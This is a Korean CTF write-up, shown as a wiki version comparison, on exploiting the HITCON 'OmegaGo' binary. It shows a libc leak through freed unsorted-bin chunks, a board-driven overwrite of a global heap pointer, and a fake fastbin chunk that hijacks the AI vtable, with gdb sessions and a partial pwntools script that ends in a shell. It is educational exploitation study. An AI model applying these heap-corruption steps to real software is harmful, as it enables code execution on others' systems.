Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

Code Block
title좌표 입력Coordinates input
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

...Print board...
Time remain: O: 180.00, X: 180.00

A19

...Print board...
Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
gdb-peda$ 
  • 다음과 같이 추가적인 메모리의 변화를 확인합니다.
    • 사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.

      • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

      • 컴퓨터가 입력한 값은 0x01555555555 입니다.

Code Block
title19열 채우기Fill in line 19
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
gdb-peda$ 
  • Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
    • Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
    • 다음과 같은 bit값을 이용해 player를 구분합니다.
      • AI : 10 bit
      • Humman : 01bit
Panel
titleMark 식별

Mark /

Player

X / O

X. / O.

XX / OO

bithexbithexbithex

AI

10

0x2

10000x8

1010

0xA

Humman

01

0x1

01000x4

0101

0x5

...

  • 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
    • 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
      • AI GameInfo : 0x61d220
      • HUMAN GameInfo : 0x61d160
    • AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
      • Heap address : 0x61d1f0
Code Block
titlegHistory[] info
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS

...Print board...


Time remain: O: 180.00, X: 180.00
A19
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 176.49

^C
Program received signal SIGINT, Interrupt.
gdb-peda$ x/4gx 0x609460
0x609460:	0x000000000061cc90	0x000000000061d160
0x609470:	0x000000000061d220	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d160 - 0x10
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d220 - 0x10
0x61d210:	0x91f146e6557b6e4a	0x0000000000000091
0x61d220:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/4gx 0x61d1e0
0x61d1e0:	0xf90d94745f8a1984	0x0000000000000031
0x61d1f0:	0xeeda74e900000001	0x0000000000607228
gdb-peda$ 
  • "regret" 기능을 호출하게되면 gHistory[]의 맨 마지막에 저장된 2개의 GameInfo를 삭제합니다.
    • 분석을 위해 "0x4015CE" 영역에 Break point를 설정합니다.
    • AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.

      • 0x61d210 영역이 main_arena의 top 영역에 저장됩니다.
    • HUMAN GameInfo(0x61d160) 영역이 해제되면 해당 영역은 Unsorted chunk가 됩니다.
      • 0x61d150 영역이 main_arena.bin[0], [1] 영역에 저장됩니다.
      • Unsorted chunk(0x61d150)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
Code Block
titleCreate libc address
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
regret
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d220	0x61d220
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x61d210
gdb-peda$ c
Continuing.

Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d160	0x61d160
gdb-peda$ ni
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x61d150
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x61d150
gdb-peda$ 
gdb-peda$ x/4gx 0x61d150
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x00007ffff7839b78	0x00007ffff7839b78
gdb-peda$ 
  •  gPlayerGameInfo에 저장된 값(Heap address)을 변경하기 전에 중요한 부분이 있습니다.
    • 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
      • 해당 프로그램은 2bit를 이용해 HUMAN,AI의 표시를 구분합니다.
    • 다음으로 중요한 것은 사용자 입력값에 의해 2bit 모두 1이 될 수 없습니다.
    • 즉, 사용자 입력 값으로 gPlayerGameInfo에 저장된 값을 변경하는데 제약이 있다는 것입니다.
  • 다음은 gPlayerGameInfo 전역변수에 0x61cc90 값이 저장되어 있을 경우 입니다.
    • 해당 주소를 bit로 변경하면 "0110 0001 1100 1100 1001 0000"이 됩니다.
    • 여기서 사용자가 값을 입력 할 수 있는 부분은 다음과 같습니다.
      • bit의 값이 "00"인 부분만 값을 저장 할 수 있습니다.
      • "0110 0001 1100 1100 1001 0000"
    • gPlayerGameInfo 전역변수에 저장되는 주소 값을 변경하기 위해서 surrender() 함수를 호출하는 것으로 해결 할 수 있습니다.
      • surrender() 함수를 호출하면 게임이 재설정됩니다.
      • 재설정이 이전에 사용하던 AI, HUMAN Class 의 vtable 영역은 해제가 되지 않기 때문에 gPlayerGameInfo 전역변수에 저장되는 Heap 주소가 변경됩니다.
  • 다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
    • Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
      • 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
        • gPlayerGameInfo(0x609fc0) : 0x1c88e30
      • gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
    • 사용자 입력 값으로 "D19"를 입력합니다.
      • 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
        • "0x1c88e30" + "0x80" = 0x1c88eb0
Code Block
titleChange the Heap address.
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88e30	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.

Input "D19"

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88eb0	0x0000000001c88ef0
0x609fd0:	0x0000000001c88fb0	0x0000000000000000

gdb-peda$ p/x 0x1c88e30 + 0x80
$1 = 0x1c88eb0
gdb-peda$ 
  • 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
    • "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
      • 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
      • Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
        • fd(0x1c88ef0) : 0x7f4b7d233b78
        • bk(0x1c88ef8) : 0x7f4b7d233b78
    • regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
      • 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
      • 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
Code Block
titleLeak libc address
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ c
Continuing.


Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ ni
gdb-peda$ x/4gx 0x1c88ef0 - 0x10
0x1c88ee0:	0x33bb5de964b6f848	0x0000000000000091
0x1c88ef0:	0x00007f4b7d233b78	0x00007f4b7d233b78
gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0
$2 = 0x40
gdb-peda$ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000001c88f70	0x0000000001c83880
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x33bb5de964b6f848	0x0000000000000091
0x60a000:	0x00007f4b7d233b78	0x00007f4b7d233b78
0x60a010:	0x0000000000000000	0x0000000000000000
gdb-peda$ 

...

  • 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
    • 해당 바이너리의 취약성을 이용해 아래 조건을 만족하는 Fake chunk address를 gHistory[365]영역에 저장합니다.
      • Fake chunk의 size가 0x20
      • Fake chunk의 next chunk(next_size) 영역에 값이 있어야 함.
Panel
titleFake chunk struct

0x00x8
0x0000000000000000000000000000000000
0x1000000000000000000000000000000020
0x2000000000000000000000010000000000
0x3000000000000000000000000000000020
0x4000000000000000000000000000000000
0x500000000000000000next_size
0x600000000900000009000000000000004F
0x7040665799D0203E644066800000000000
0x8000000000000000000000000000000031
  • 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
Code Block
languagepy
titleCreate a Fake chunk
...

#Memory reconstruction
surrender()
surrender()
surrender()
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)

#Fake Chunk
Play('D14')
Play('R8')

Fill('A','I',10)

p.interactive()

...

Code Block
titleRun script
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 7625
[*] Libc Address : 0x7ff0339f6b78
[*] Libc Base Address : 0x7ff033632000
[*] execve bash Address : 0x7ff0337186bd
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..O...XO.\x00XX.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...X...............
13 ...................
12 .O.................
11 XXXXXXXXXXXXXXXXXXX
10 XXXXXXXXXOOOOOOOOOO
 9 OOOOOOOOOOOOOOOOOOO
 8 .................X.
 7 ...................
 6 ...............O...
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.85

$ 
Code Block
titleFake chunk
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 7625
Attaching to process 7625
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000000ac6010	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
gdb-peda$ x/20gx 0x0000000000ac6010
0xac6010:	0x0000000000000000	0x0000000000000000
0xac6020:	0x0000000000000000	0x0000000000000020
0xac6030:	0xaaaa000000001000	0x555555aaaaaaaaaa
0xac6040:	0x0000000155555555	0x0000000000000020
0xac6050:	0x0000000000001000	0x0000000000000000
0xac6060:	0x0000000000000000	0x0000000000000000
0xac6070:	0x0000000a00000009	0x500001000000004f
0xac6080:	0x40667febca5375c7	0x40667b29ac365450
0xac6090:	0x0000000000000000	0x000000000000df71
0xac60a0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.
  • 다음과 같이 gPlayerGameInfo 전역 변수에 저장된 Heap address(0xac6010)를 변경되었습니다.

    • 위치 값으로 변경 가능한 Heap address의 bit 영역은 다음과 같습니다. 

      • 1010 1100 0110 0000 0001 0000

    • 다음과 같이 값을 변경합니다.

      • 1010 1100 0110 0010 1001 0000

      • 위치 값 : D19, E19

    • 사용자가 입력한 값 D19, E19에 의해 gPlayerGameInfo.board[0]에 저장된 값이 0xac6290 으로 변경되었습니다.

      • 0xac6290 영역은 GameInfo.board[9] 영역입니다.
Code Block
titlePosition value
$ D19
   ABCDEFGHIJKLMNOPQRS
19 ..OX..OX.XXX.......

...

Time remain: O: 180.00, X: 154.17

$ E19
   ABCDEFGHIJKLMNOPQRS
19 ..OXX.OX.XXX.......

...
Time remain: O: 180.00, X: 151.96

$ 
Code Block
titleThe value of "gPlayerGameInfo.board [0]" has been changed.
^C
Program received signal SIGINT, Interrupt.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000000ac6290	0x0000000000ac60d0
0x609fd0:	0x0000000000ac6190	0x0000000000ac6250
gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10
0xac6280:	0x0000000155555555	0x0000000000000020
0xac6290:	0x0000000000001000	0x0000000000000000
0xac62a0:	0x0000000000000000	0x0000000000000400
0xac62b0:	0x0000000400000000	0x5000010000000058
0xac62c0:	0x40667febb1290256	0x4060b9413db7f173
0xac62d0:	0xb02c3b6be73a708c	0x0000000000000031
0xac62e0:	0xc6d1f75f00000000	0x0000000000abbc90
0xac62f0:	0x0000000000000000	0x0000000000000000
0xac6300:	0x6c0eb26d35c354ca	0x0000000000000091
0xac6310:	0x0000000000ac6290	0x0000000000ac60d0
gdb-peda$ 
  • 다음과 같이 Fack Fake chunk에 AI의 vtable공간이 할당됩니다.
    • UAF를 확인하기 위해  다음과 같이 Break point를 설정합니다.

...

  • "surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.

    • 변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.

    • AI의 vtable을 저장 할 Heap 영역을 요청하면 fastbins에 등록되었던 Fack Fake chunk(0xac6290)가 할당됩니다.
    • 이로 인해 AI vtable(0xac6290) 영역에 board[]의 정보를 덮어쓸 수 있습니다.

...